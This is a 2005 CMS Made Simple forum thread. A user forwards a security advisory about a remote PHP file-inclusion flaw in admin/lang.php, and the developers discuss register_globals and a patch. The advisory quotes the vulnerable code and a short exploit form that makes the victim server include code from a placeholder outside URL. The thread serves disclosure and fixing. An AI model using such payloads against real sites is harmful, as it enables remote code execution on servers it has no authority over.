• twitter image
  • facebook image
  • youtube image
  • linkedin image
Language: CMS Made Simple Czech CMS Made Simple France CMS Made Simple Spain CMS Made Simple Hungary CMS Made Simple Russia CMS Made Simple Netherlands

All times are UTC




Post new topic This topic is locked, you cannot edit posts or make further replies.  [ 4 posts ] 
Author Message
 Post subject: Security Announce: CMS Made Simple <= 0.10 - PHP injection
PostPosted: Thu Sep 01, 2005 7:49 am 
I belong to phpsec, a security mailing list and this mail turned up this morning.  Not sure if you've seen it yet Wishy?

Quote:
------ Forwarded Message
From:
Date: 31 Aug 2005 19:18:04 -0000
To:
Subject: CMS Made Simple <= 0.10 - PHP injection

  -- == -- == -- == -- == -- == -- == -- == -- == -- == --
  Name: CMS Made Simple - PHP injection
  Version <= 0.10
  Homepage: http://www.cmsmadesimple.org/

  Author: Filip Groszynski (VXSfx)
  Date: 31 August 2005
  -- == -- == -- == -- == -- == -- == -- == -- == -- == --

  Background:

CMS Made Simple is an easy to use content managment system for simple stable content site. Uses PHP, MySQL  and Smarty templating system.

  --------------------------------------------------------
 
  Vulnerable code exist in ./admin/lang.php:

    ...
$current_language = "en_US";
#Only do language stuff for admin pages
[!] if (isset($CMS_ADMIN_PAGE)) {
  ...
  #Check to see if there is already a language in use...
  if (isset($_POST["change_cms_lang"])) {
[!]  $current_language = $_POST["change_cms_lang"];
  setcookie("cms_language", $_POST["change_cms_lang"]);
  } else if (isset($_COOKIE["cms_language"])) {
  $current_language = $_COOKIE["cms_language"];
  }
  else {
  ...
  }

  #Ok, we have a language to load, let's load it already...
  if (isset($nls['file'][$current_language])) {
  foreach ($nls['file'][$current_language] as $onefile) {
[!]    include($onefile);
  }
  }
  ...
}
...
  ?>
  --------------------------------------------------------

  Exploit:

example.html:
 
action="http://(__VICTIM__)/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vx
sfx]=(__URL__)" method=post>
 
 
 

EOF

  --------------------------------------------------------

  Contact:

      Author: Filip Groszynski (VXSfx)
      Location: Poland
      Email: groszynskif <|> gmail <|> com

  -- == -- == -- == -- == -- == -- == -- == -- == -- == --


------ End of Forwarded Message



--
[phpsec] Mailing List
Brought to you by php|architect - http://www.phparch.com

For account maintenance, please visit http://www.phparch.com/phpsec




Reading the example exploit, I'm pretty sure that it can only occur with register_globals set to on. However, still needs fixing.

Possible fix:
Ensure that $onefile is a local file within the expected cmsms directory before including it. (Probably have to store the "expected cms directory" as a define/const maybe?)


Rob...


Top
  
 
 Post subject: Re: Security Announce: CMS Made Simple <= 0.10 - PHP injection
PostPosted: Thu Sep 01, 2005 9:45 am 
Offline
Administrator
Administrator
User avatar

Joined: Fri Jun 11, 2004 6:58 pm
Posts: 3338
Location: Fairless Hills, Pa USA
Actually, I was going to release a fix this morning.  I was just going to make sure $nls and $lang were declared as blank arrays at the top of the page.  This way, even if $nls was passed with register_globals on, any offending URLs would get blown away.

Make sense?

_________________
http://about.me/tedkulp


Top
 Profile  
 
 Post subject: Re: Security Announce: CMS Made Simple <= 0.10 - PHP injection
PostPosted: Thu Sep 01, 2005 12:29 pm 
Offline
Administrator
Administrator
User avatar

Joined: Fri Jun 11, 2004 6:58 pm
Posts: 3338
Location: Fairless Hills, Pa USA
http://forum.cmsmadesimple.org/index.ph ... 554.0.html

_________________
http://about.me/tedkulp


Top
 Profile  
 
 Post subject: Re: Security Announce: CMS Made Simple <= 0.10 - PHP injection
PostPosted: Thu Sep 01, 2005 3:25 pm 
Looks good to me.


Top
  
 
Display posts from previous:  Sort by  
Post new topic This topic is locked, you cannot edit posts or make further replies.  [ 4 posts ] 

All times are UTC


Who is online

Users browsing this forum: No registered users


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Arvixe - A CMSMS Partner